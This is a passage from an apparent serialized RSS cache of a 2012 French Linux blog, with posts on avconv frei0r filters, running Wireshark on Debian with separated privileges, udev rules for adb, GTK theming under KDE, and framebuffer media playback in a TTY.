C’est là qu’intervient le projet frei0r. Il s’agit d’une API permettant d’appliquer des filtres vidéo que chaque application pourra utiliser. Et ça tombe bien, l’application avconv peut l’utiliser si elle a été compilée avec l’option --enable-frei0r.

La bonne nouvelle, c’est que la version distribuée par Debian wheezy est compilée avec cette option. La mauvaise, c’est que celle fournie dans Ubuntu 12.04 ne l’est pas.

frei0r a besoin de plugins permettant d’appliquer les filtres. Il est nécessaire pour cela d’installer frei0r-plugins :

sudo apt-get install frei0r-plugins

avconv + frei0r

La syntaxe pour utiliser frei0r dans avconv est la suivante :

-vf frei0r=<filter_name>[{:|=}<param1>:<param2>:...:<paramN>]

Mais comment connaître les filter_names disponibles et leurs paramètres ? Je n’ai trouvé aucune documentation à ce sujet. J’ai donc consulté les sources.

À partir de là, on comprend facilement que la luminosité est modifiée par le filtre brightness comportant un paramètre de type double (voir notamment la fonction f0r_get_param_info) compris entre 0 (sombre) et 1 (clair) (0.5 étant la luminosité de la vidéo d’origine).

En respectant la syntaxe, cela donne par exemple :

avconv -i video.mts -s 640x360 -ac 1 -q:a 2 -b:v 600k \
    -vf frei0r=brightness:0.6 output.webm

Il existe plein d’autres filtres. Par exemple pour le contraste, c’est contrast0r :

-vf frei0r=contrast0r:0.4

Pour les combiner, il suffit de concaténer plusieurs blocs -vf :

-vf frei0r=brightness:0.6,frei0r=contrast0r:0.4

Conclusion

Malgré les apparences, avconv permet, pour peu qu’il soit compilé avec l’option-qui-va-bien, d’encoder des vidéos en modifiant la luminosité, le contraste, et d’appliquer bien d’autres filtres… ce qui est très pratique.

";s:7:"dateiso";s:15:"20120814_122638";}s:15:"20120602_154821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:61:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4095";s:7:"pubDate";s:31:"Sat, 02 Jun 2012 13:48:21 +0000";s:11:"description";s:419:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits. En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible. Devant ce problème, […]";s:7:"content";s:6263:"

Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.

En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible.

Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de chance :

$ sudo wireshark
No protocol specified

(wireshark:27210): Gtk-WARNING **: cannot open display: :0

Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !

Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…

Alors on lit la doc, qui propose deux solutions :

less /usr/share/doc/wireshark/README.Debian

Une troisième solution, donnée en commentaire, me semble encore meilleure :

sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -

Utiliser dumpcap pour capturer

Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans wireshark (non-root).

Pour démarrer la capture de l’interface eth0 dans le fichier /tmp/mycapture :

sudo dumpcap -i eth0 -w /tmp/mycapture

Pour connaître la liste des interfaces réseau capturables :

$ sudo dumpcap -D 
1. eth0
2. wlan0
3. nflog (Linux netfilter log (NFLOG) interface)
4. any (Pseudo-device that captures on all interfaces)
5. lo

Ctrl+C arrête la capture.

Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :

sudo chmod +r /tmp/mycapture

C’est la méthode configurée par défaut sous Debian.

Autoriser les utilisateurs non-root

Si on souhaite à la fois capturer et analyser à partir de Wireshark (et permettre les captures « en live »), sans passer par dumpcap en ligne de commande, il faut autoriser les utilisateur non-root à capturer des paquets.

Pour cela :

sudo dpkg-reconfigure wireshark-common
 ┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐  
 │                                                                                │  
 │ Dumpcap peut être installé afin d'autoriser les membres du groupe              │  
 │ « wireshark » à capturer des paquets. Cette méthode de capture est préférable  │  
 │ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car  │  
 │ elle permet d'exécuter moins de code avec des droits importants.               │  
 │                                                                                │  
 │ Pour plus d'informations, veuillez consulter                                   │  
 │ /usr/share/doc/wireshark-common/README.Debian.                                 │  
 │                                                                                │  
 │ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi      │  
 │ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser  │  
 │ désactivée.                                                                    │  
 │                                                                                │  
 │ Autoriser les utilisateurs non privilégiés à capturer des paquets ?            │  
 │                                                                                │  
 │                      <Oui>                         <Non>                       │  
 │                                                                                │  
 └────────────────────────────────────────────────────────────────────────────────┘  

Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun, par défaut) seront autorisés à capturer les paquets.

Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).

Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe wireshark :

sudo addgroup $USER wireshark

Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).

Avec cette méthode, seul le processus de capture aura les droits root, l’interface graphique se contentant de droits non-root (merci la séparation des privilèges).

";s:7:"dateiso";s:15:"20120602_154821";}s:15:"20120602_144821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:61:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4095";s:7:"pubDate";s:31:"Sat, 02 Jun 2012 12:48:21 +0000";s:11:"description";s:419:"Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits. En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible. Devant ce problème, […]";s:7:"content";s:6263:"

Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.

En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible.

Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de chance :

$ sudo wireshark
No protocol specified

(wireshark:27210): Gtk-WARNING **: cannot open display: :0

Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !

Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…

Alors on lit la doc, qui propose deux solutions :

less /usr/share/doc/wireshark/README.Debian

Une troisième solution, donnée en commentaire, me semble encore meilleure :

sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -

Utiliser dumpcap pour capturer

Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans wireshark (non-root).

Pour démarrer la capture de l’interface eth0 dans le fichier /tmp/mycapture :

sudo dumpcap -i eth0 -w /tmp/mycapture

Pour connaître la liste des interfaces réseau capturables :

$ sudo dumpcap -D 
1. eth0
2. wlan0
3. nflog (Linux netfilter log (NFLOG) interface)
4. any (Pseudo-device that captures on all interfaces)
5. lo

Ctrl+C arrête la capture.

Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :

sudo chmod +r /tmp/mycapture

C’est la méthode configurée par défaut sous Debian.

Autoriser les utilisateurs non-root

Si on souhaite à la fois capturer et analyser à partir de Wireshark (et permettre les captures « en live »), sans passer par dumpcap en ligne de commande, il faut autoriser les utilisateur non-root à capturer des paquets.

Pour cela :

sudo dpkg-reconfigure wireshark-common
 ┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐  
 │                                                                                │  
 │ Dumpcap peut être installé afin d'autoriser les membres du groupe              │  
 │ « wireshark » à capturer des paquets. Cette méthode de capture est préférable  │  
 │ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car  │  
 │ elle permet d'exécuter moins de code avec des droits importants.               │  
 │                                                                                │  
 │ Pour plus d'informations, veuillez consulter                                   │  
 │ /usr/share/doc/wireshark-common/README.Debian.                                 │  
 │                                                                                │  
 │ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi      │  
 │ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser  │  
 │ désactivée.                                                                    │  
 │                                                                                │  
 │ Autoriser les utilisateurs non privilégiés à capturer des paquets ?            │  
 │                                                                                │  
 │                      <Oui>                         <Non>                       │  
 │                                                                                │  
 └────────────────────────────────────────────────────────────────────────────────┘  

Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun, par défaut) seront autorisés à capturer les paquets.

Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).

Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe wireshark :

sudo addgroup $USER wireshark

Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).

Avec cette méthode, seul le processus de capture aura les droits root, l’interface graphique se contentant de droits non-root (merci la séparation des privilèges).

";s:7:"dateiso";s:15:"20120602_144821";}s:15:"20120602_124821";a:7:{s:5:"title";s:30:"Utiliser Wireshark sous Debian";s:4:"link";s:60:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian";s:4:"guid";s:60:"http://blog.rom1v.com/2012/06/utiliser-wireshark-sous-debian";s:7:"pubDate";s:25:"2012-06-02T12:48:21+02:00";s:11:"description";s:0:"";s:7:"content";s:5814:"

Wireshark est un outil incontournable pour connaître les paquets qui transitent sur le réseau. Mais on se retrouve vite bloqué à cause d’un problème de droits.

En effet, en démarrant wireshark avec un compte utilisateur non-root, l’interface graphique s’affiche, mais il est impossible de capturer les trames : aucune interface réseau n’est disponible.

Devant ce problème, que fait l’utilisateur pressé ? Il démarre wireshark en root, bien sûr (c’est ce que je faisais sous Ubuntu) ! Eh bien pas de chance :

$ sudo wireshark
No protocol specified

(wireshark:27210): Gtk-WARNING **: cannot open display: :0

Déjà, c’est bien fait pour lui : on n’essaie pas de démarrer une interface graphique en root !

Mais comment faire alors ? En non-root on ne peut pas capturer, en root on ne peut pas démarrer…

Alors on lit la doc, qui propose deux solutions :

less /usr/share/doc/wireshark/README.Debian

EDIT : Une troisième solution, donnée en commentaire, me semble encore meilleure :

sudo tcpdump -pni eth0 -s0 -U -w - | wireshark -k -i -

Utiliser dumpcap pour capturer

Avec cette méthode, il faut d’abord capturer les paquets réseau et les sauver dans un fichier, grâce à dumpcat (en root), puis ouvrir ce fichier dans wireshark (non-root).

Pour démarrer la capture de l’interface eth0 dans le fichier /tmp/mycapture :

sudo dumpcap -i eth0 -w /tmp/mycapture

Pour connaître la liste des interfaces réseau capturables :

$ sudo dumpcap -D 
1. eth0
2. wlan0
3. nflog (Linux netfilter log (NFLOG) interface)
4. any (Pseudo-device that captures on all interfaces)
5. lo

Ctrl+C arrête la capture.

Le fichier généré n’est lisible que par root. Avant de l’ouvrir dans Wireshark, il faut donc changer ses droits :

sudo chmod +r /tmp/mycapture

C’est la méthode configurée par défaut sous Debian.

Autoriser les utilisateurs non-root

Si on souhaite à la fois capturer et analyser à partir de Wireshark (et permettre les captures “en live”), sans passer par dumpcap en ligne de commande, il faut autoriser les utilisateur non-root à capturer des paquets.

Pour cela :

sudo dpkg-reconfigure wireshark-common

Ce qui affiche :

 ┌─────────────────────┤ Configuration de wireshark-common ├──────────────────────┐
 │                                                                                │
 │ Dumpcap peut être installé afin d'autoriser les membres du groupe              │
 │ « wireshark » à capturer des paquets. Cette méthode de capture est préférable  │
 │ à l'exécution de Wireshark ou Tshark avec les droits du superutilisateur, car  │
 │ elle permet d'exécuter moins de code avec des droits importants.               │
 │                                                                                │
 │ Pour plus d'informations, veuillez consulter                                   │
 │ /usr/share/doc/wireshark-common/README.Debian.                                 │
 │                                                                                │
 │ Cette fonctionnalité constitue un risque pour la sécurité, c'est pourquoi      │
 │ elle est désactivée par défaut. En cas de doute, il est suggéré de la laisser  │
 │ désactivée.                                                                    │
 │                                                                                │
 │ Autoriser les utilisateurs non privilégiés à capturer des paquets ?            │
 │                                                                                │
 │                      <Oui>                         <Non>                       │
 │                                                                                │
 └────────────────────────────────────────────────────────────────────────────────┘

Après avoir répondu Oui, tous les utilisateurs du groupe wireshark (aucun, par défaut) seront autorisés à capturer les paquets.

Remarque : un programme non-root sera donc en théorie capable de savoir tout ce qui passe sur le réseau (déjà qu’il est capable de connaître tout ce qui est tapé au clavier).

Il ne reste donc plus qu’à ajouter son compte utilisateur au groupe wireshark :

sudo addgroup $USER wireshark

Cette modification ne sera prise en compte qu’après une reconnexion du compte utilisateur (il faut donc fermer la session et en démarrer une nouvelle).

";s:7:"dateiso";s:15:"20120602_124821";}s:15:"20120525_004109";a:7:{s:5:"title";s:52:"Se connecter à un téléphone Android depuis Debian";s:4:"link";s:80:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4063";s:7:"pubDate";s:31:"Thu, 24 May 2012 22:41:09 +0000";s:11:"description";s:424:"Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle). Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules contenant : SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev" Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni […]";s:7:"content";s:2348:"


Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle).

Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules contenant :

SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"

Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni sur sid) :

$ adb devices
List of devices attached 
????????????    no permissions

En effet, contrairement aux autres distributions, Debian possède un fichier /lib/udev/rules.d/91-permissions.rules qui contient, entre autres :

# usbfs-like devices
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
                                MODE="0664"

Comme 91 > 51, ce fichier est parsé après notre fichier 51-android.rules.

La solution est donc très simple : renommer 51-android.rules en 92-android.rules afin que les permissions ne soient pas écrasées :

sudo mv /etc/udev/rules.d/{51,92}-android.rules

(ou en utilisant n’importe quel entier entre 92 et 99)

Après cette modification, udev doit être redémarré :

sudo service udev restart

et le téléphone débranché puis rebranché.

Et là, ça fonctionne :

$ adb devices
List of devices attached 
040140621600C00D        device

Merci à unforgiven512 qui m’a donné la solution (en anglais).

";s:7:"dateiso";s:15:"20120525_004109";}s:15:"20120524_224109";a:7:{s:5:"title";s:52:"Se connecter à un téléphone Android depuis Debian";s:4:"link";s:79:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian";s:4:"guid";s:79:"http://blog.rom1v.com/2012/05/se-connecter-a-un-telephone-android-depuis-debian";s:7:"pubDate";s:25:"2012-05-24T22:41:09+02:00";s:11:"description";s:0:"";s:7:"content";s:2116:"

Je décrivais récemment la marche à suivre pour se connecter à un téléphone Android à partir d’une distribution GNU/Linux (qui correspond à ce que dit la documentation officielle).

Pour résumer, il s’agit de créer un fichier /etc/udev/rules.d/51-android.rules contenant :

SUBSYSTEM=="usb", MODE="0666", GROUP="plugdev"

Mais ceci ne fonctionne pas sur Debian (en tout cas ni sur testing ni sur sid) :

$ adb devices
List of devices attached 
????????????    no permissions

En effet, contrairement aux autres distributions, Debian possède un fichier /lib/udev/rules.d/91-permissions.rules qui contient, entre autres :

# usbfs-like devices
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", \
                                MODE="0664"

Comme 91 > 51, ce fichier est parsé après notre fichier 51-android.rules.

La solution est donc très simple : renommer 51-android.rules en 92-android.rules afin que les permissions ne soient pas écrasées :

sudo mv /etc/udev/rules.d/{51,92}-android.rules

(ou en utilisant n’importe quel entier entre 92 et 99)

Après cette modification, udev doit être redémarré :

sudo service udev restart

et le téléphone débranché puis rebranché.

Et là, ça fonctionne :

$ adb devices
List of devices attached 
040140621600C00D        device

Merci à unforgiven512 qui m’a donné la solution (en anglais).

";s:7:"dateiso";s:15:"20120524_224109";}s:15:"20120515_220819";a:7:{s:5:"title";s:50:"Configurer le thème des applications GTK sous KDE";s:4:"link";s:80:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4007";s:7:"pubDate";s:31:"Tue, 15 May 2012 20:08:19 +0000";s:11:"description";s:334:"Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout […]";s:7:"content";s:5061:"


Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout (sauf si vous appelez « thème » l’apparence de Windows 95).

Voici par exemple à quoi ressemble GIMP :

Le problème doit être résolu deux fois : une première pour les applications utilisant GTK2 et une seconde pour celles utilisant GTK3.

GTK2

Pour GTK2, c’est facile. Sous Debian :

sudo apt-get install gtk2-engines-oxygen gtk-chtheme

(le nom des paquets peut varier selon votre distribution)

Il ne reste alors plus qu’à exécuter :

gtk-chtheme

et choisir le thème oxygen-gtk :

Le thème des applications telles que Firefox/Iceweasel, GIMP, Ario ou Eclipse sera alors totalement cohérent avec celui des applications prévues pour KDE :

Pour pousser plus loin l’intégration de Firefox/Iceweasel, il y a même un module complémentaire.

GTK3

Pour GTK3, ce devrait être presque pareil… sauf que le paquet gtk3-engines-oxygen (ou oxygen-gtk3) n’est pas encore dans les dépôts Debian (il est par contre dans d’autres distributions, comme Ubuntu ou Arch Linux).
Il est bien sûr possible de télécharger les sources pour l’installer manuellement.

Mais nous pouvons nous contenter du thème natif de Gnome. Pour le configurer, il suffit d’installer gnome-themes-standard :

sudo apt-get install gnome-themes-standard

et de créer un fichier ~/.config/gtk-3.0/settings.ini contenant :

[Settings]
gtk-theme-name=Adwaita
gtk-fallback-icon-theme=gnome

(voir GtkSettings)

Gedit avant :

Gedit après :

En attendant qu’Oxygen GTK3 soit disponible dans les dépôts, c’est mieux que rien…

";s:7:"dateiso";s:15:"20120515_220819";}s:15:"20120515_200819";a:7:{s:5:"title";s:50:"Configurer le thème des applications GTK sous KDE";s:4:"link";s:79:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde";s:4:"guid";s:79:"http://blog.rom1v.com/2012/05/configurer-le-theme-des-applications-gtk-sous-kde";s:7:"pubDate";s:25:"2012-05-15T20:08:19+02:00";s:11:"description";s:0:"";s:7:"content";s:4070:"

Après être passé de KDE à Gnome il y a un peu plus de 4 ans, j’ai décidé de revenir à KDE. Mais de la même manière que les applications prévues pour KDE ne s’intègrent pas correctement à Gnome, les applications prévues pour Gnome sont horribles sur KDE : elles n’ont pas de thème du tout (sauf si vous appelez “thème” l’apparence de Windows 95).

Voici par exemple à quoi ressemble GIMP :

gimp-moche

Le problème doit être résolu deux fois : une première pour les applications utilisant GTK2 et une seconde pour celles utilisant GTK3.

GTK2

Pour GTK2, c’est facile. Sous Debian :

sudo apt-get install gtk2-engines-oxygen gtk-chtheme

(le nom des paquets peut varier selon votre distribution)

Il ne reste alors plus qu’à exécuter :

gtk-chtheme

et choisir le thème oxygen-gtk :

gtk-chtheme

Le thème des applications telles que Firefox/Iceweasel, GIMP, Ario ou Eclipse sera alors totalement cohérent avec celui des applications prévues pour KDE :

gimp-oxygen

Pour pousser plus loin l’intégration de Firefox/Iceweasel, il y a même un module complémentaire.

GTK3

Pour GTK3, ce devrait être presque pareil… sauf que le paquet gtk3-engines-oxygen (ou oxygen-gtk3) n’est pas encore dans les dépôts Debian (il est par contre dans d’autres distributions, comme Ubuntu ou Arch Linux).

Il est bien sûr possible de télécharger les sources pour l’installer manuellement.

Mais nous pouvons nous contenter du thème natif de Gnome. Pour le configurer, il suffit d’installer gnome-themes-standard :

sudo apt-get install gnome-themes-standard

et de créer un fichier ~/.config/gtk-3.0/settings.ini contenant :

[Settings]
gtk-theme-name=Adwaita
gtk-fallback-icon-theme=gnome

(voir GtkSettings)

Gedit avant :

gedit-moche

Gedit après :

gedit-adwaita

En attendant qu’Oxygen GTK3 soit disponible dans les dépôts, c’est mieux que rien…

EDIT : oxygen-gtk3 est maintenant disponible dans les dépôts.

";s:7:"dateiso";s:15:"20120515_200819";}s:15:"20120408_010155";a:7:{s:5:"title";s:59:"Lire des images et des vidéos sans serveur X (dans un TTY)";s:4:"link";s:87:"http://blog.rom1v.com/2012/04/lire-des-images-et-des-videos-sans-serveur-x-dans-un-tty/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3938";s:7:"pubDate";s:31:"Sat, 07 Apr 2012 23:01:55 +0000";s:11:"description";s:403:"Saviez-vous qu’il était possible de lire des images et des vidéos dans un TTY, sans serveur X ? Je ne parle pas de les afficher en ASCII-art, mais bien de les afficher « graphiquement » : Je ne le savais pas jusqu’à aujourd’hui. En fait, c’est possible grâce à des programmes qui écrivent directement dans le framebuffer. Pour tester […]";s:7:"content";s:5885:"

Saviez-vous qu’il était possible de lire des images et des vidéos dans un TTY, sans serveur X ? Je ne parle pas de les afficher en ASCII-art, mais bien de les afficher « graphiquement » :

Je ne le savais pas jusqu’à aujourd’hui. En fait, c’est possible grâce à des programmes qui écrivent directement dans le framebuffer.

Pour tester les outils suivants, lancez un TTY grâce aux raccourcis Ctrl+Alt+F[1-6]. Pour revenir à votre session graphique, faites Ctrl+Alt+F7 (sur certaines distributions, par défaut la session graphique est plutôt accessible avec Ctrl+Alt+F1, Ctrl+Alt+F8 ou Ctrl+Alt+F9, essayez…).

Images

Pour afficher des images, il faut installer le paquet fbi (framebuffer imageviewer) :

sudo apt-get install fbi

Puis simplement exécuter :

fbi monimage.jpg

ou même

fbi *.jpg

(PgUp et PgDown permettent de naviguer entre les images)

Cet outil est vraiment très rapide (sauf pour le zoom). C’est un peu l’équivalent de feh qui, lui, fonctionne en mode graphique.

Vidéos

Pour les vidéos, nous avons besoin de MPlayer :

sudo apt-get install mplayer

En lançant dans un TTY :

mplayer mavidéo.avi

MPlayer choisit le pilote fbdev. Nous pouvons aussi le choisir explicitement :

mplayer -vo fbdev mavidéo.avi

Par contre, la vidéo s’affiche à sa taille originale, alors que nous la voulons en plein écran. Il faut donc la mettre à l’échelle, grâce aux paramètres de mplayer. Sur un écran 1680×1050 par exemple :

mplayer -fs -vf scale=1680:-3 mavidéo.avi

-3 permet de calculer la seconde composante à partir de la première et de l’aspect-ratio. C’est dans le man :

 0: largeur/hauteur dimmensionnées à d_width/d_height
-1: largeur/hauteur originales
-2: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur redimensionné.
-3: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur original.
-(n+8): Comme -n ci-dessus, mais en arrondissant les dimensions au plus proche multiple de 16.

Sur mon pc portable, j’arrive sans problème à lire dans un TTY une vidéo 1080p (j’ai testé avec Big Buck Bunny en MP4, redimensionnée lors de la lecture à la taille de mon écran, 1680×1050).

Par contre, sur une machine moins puissante (une EeeBox, qui hébergeait ce blog par le passé), MPlayer saccade, même sur des vidéos basse définition, que VLC lit sans problèmes.
Pour améliorer les performances de lecture de MPlayer, il est possible de changer l’algorithme de zoom logiciel, grâce à l’option -sws. Par exemple, pour utiliser bilinéaire rapide au lieu de bicubique :

mplayer -fs -vf scale=1680:-3 -sws 0 mavidéo.avi

Avec ce paramètre, ça ne saccade plus.

Cependant, sur la EeeBox, dans ce cas les couleurs sont incorrectes apparemment à cause d’un bug de pilote vidéo Intel. J’ai donc quand même installé un serveur X avec un gestionnaire de fenêtres minimaliste, awesome. Mais c’est une autre histoire…

ASCII-art


Je vous parlais d’ASCII-art au début du billet, il est également possible de lire les images ou les vidéos en ASCII (c’est juste moins joli), grâce à des commandes d’une élégance toute particulière.

Pour les images, nous pouvons installer le paquet caca-utils 

sudo apt-get install caca-utils

Puis utiliser cacaview :

cacaview monimage.jpg

Pour les vidéos :

mplayer -vo caca mavidéo.avi

Conclusion

Je n’en revenais pas qu’il soit possible de lire des vidéos sans serveur X.
Sur une machine destinée à une utilisation multimédia (branchée sur la TV par exemple), il n’y a donc nullement besoin d’un serveur X (paradoxalement).

";s:7:"dateiso";s:15:"20120408_010155";}s:15:"20120407_230155";a:7:{s:5:"title";s:59:"Lire des images et des vidéos sans serveur X (dans un TTY)";s:4:"link";s:86:"http://blog.rom1v.com/2012/04/lire-des-images-et-des-videos-sans-serveur-x-dans-un-tty";s:4:"guid";s:86:"http://blog.rom1v.com/2012/04/lire-des-images-et-des-videos-sans-serveur-x-dans-un-tty";s:7:"pubDate";s:25:"2012-04-07T23:01:55+02:00";s:11:"description";s:0:"";s:7:"content";s:5302:"

Saviez-vous qu’il était possible de lire des images et des vidéos dans un TTY, sans serveur X ? Je ne parle pas de les afficher en ASCII-art, mais bien de les afficher “graphiquement” :

bbb-tty

Je ne le savais pas jusqu’à aujourd’hui. En fait, c’est possible grâce à des programmes qui écrivent directement dans le framebuffer.

Pour tester les outils suivants, lancez un TTY grâce aux raccourcis Ctrl+Alt+F[1-6]. Pour revenir à votre session graphique, faites Ctrl+Alt+F7 (sur certaines distributions, par défaut la session graphique est plutôt accessible avec Ctrl+Alt+F1, Ctrl+Alt+F8 ou Ctrl+Alt+F9, essayez…).

Images

Pour afficher des images, il faut installer le paquet fbi (framebuffer imageviewer) :

sudo apt-get install fbi

Puis simplement exécuter :

fbi monimage.jpg

ou même

fbi *.jpg

(PgUp et PgDown permettent de naviguer entre les images)

Cet outil est vraiment très rapide (sauf pour le zoom). C’est un peu l’équivalent de feh qui, lui, fonctionne en mode graphique.

Vidéos

Pour les vidéos, nous avons besoin de MPlayer :

sudo apt-get install mplayer

En lançant dans un TTY :

mplayer mavidéo.avi

MPlayer choisit le pilote fbdev. Nous pouvons aussi le choisir explicitement :

mplayer -vo fbdev mavidéo.avi

Par contre, la vidéo s’affiche à sa taille originale, alors que nous la voulons en plein écran. Il faut donc la mettre à l’échelle, grâce aux paramètres de mplayer. Sur un écran 1680×1050 par exemple :

mplayer -fs -vf scale=1680:-3 mavidéo.avi

-3 permet de calculer la seconde composante à partir de la première et de l’aspect-ratio. C’est dans le man :

 0: largeur/hauteur dimmensionnées à d_width/d_height
-1: largeur/hauteur originales
-2: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur
    redimensionné.
-3: Calcule l/h en utilisant l'autre dimension et le rapport hauteur/largeur
    original.
-(n+8): Comme -n ci-dessus, mais en arrondissant les dimensions au plus
        proche multiple de 16.

Sur mon pc portable, j’arrive sans problème à lire dans un TTY une vidéo 1080p (j’ai testé avec Big Buck Bunny en MP4, redimensionnée lors de la lecture à la taille de mon écran, 1680×1050).

Par contre, sur une machine moins puissante (une EeeBox, qui hébergeait ce blog par le passé), MPlayer saccade, même sur des vidéos basse définition, que VLC lit sans problèmes. Pour améliorer les performances de lecture de MPlayer, il est possible de changer l’algorithme de zoom logiciel, grâce à l’option -sws. Par exemple, pour utiliser bilinéaire rapide au lieu de bicubique :

mplayer -fs -vf scale=1680:-3 -sws 0 mavidéo.avi

Avec ce paramètre, ça ne saccade plus.

Cependant, sur la EeeBox, dans ce cas les couleurs sont incorrectes apparemment à cause d’un bug de pilote vidéo Intel. J’ai donc quand même installé un serveur X avec un gestionnaire de fenêtres minimaliste, awesome. Mais c’est une autre histoire…

ASCII-art

Je vous parlais d’ASCII-art au début du billet, il est également possible de lire les images ou les vidéos en ASCII (c’est juste moins joli), grâce à des commandes d’une élégance toute particulière.

Pour les images, nous pouvons installer le paquet caca-utils

sudo apt-get install caca-utils

Puis utiliser cacaview :

cacaview monimage.jpg

Pour les vidéos :

mplayer -vo caca mavidéo.avi

bbb-ascii

Conclusion

Je n’en revenais pas qu’il soit possible de lire des vidéos sans serveur X. Sur une machine destinée à une utilisation multimédia (branchée sur la TV par exemple), il n’y a donc nullement besoin d’un serveur X (paradoxalement).

";s:7:"dateiso";s:15:"20120407_230155";}s:15:"20120405_012255";a:7:{s:5:"title";s:20:"Prompt Bash pour GIT";s:4:"link";s:51:"http://blog.rom1v.com/2012/04/prompt-bash-pour-git/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3893";s:7:"pubDate";s:31:"Wed, 04 Apr 2012 23:22:55 +0000";s:11:"description";s:355:"J’utilise GIT depuis quelques mois, et je trouve ça vraiment génial. Si vous ne connaissez pas, ou peu, vous ne pouvez pas ne pas lire le livre Pro Git (sous licence cc-by-nc-sa). Les explications très claires permettent en quelques heures de maîtriser toutes les fonctions de base, et d’être à l’aise avec la gestion des […]";s:7:"content";s:6438:"

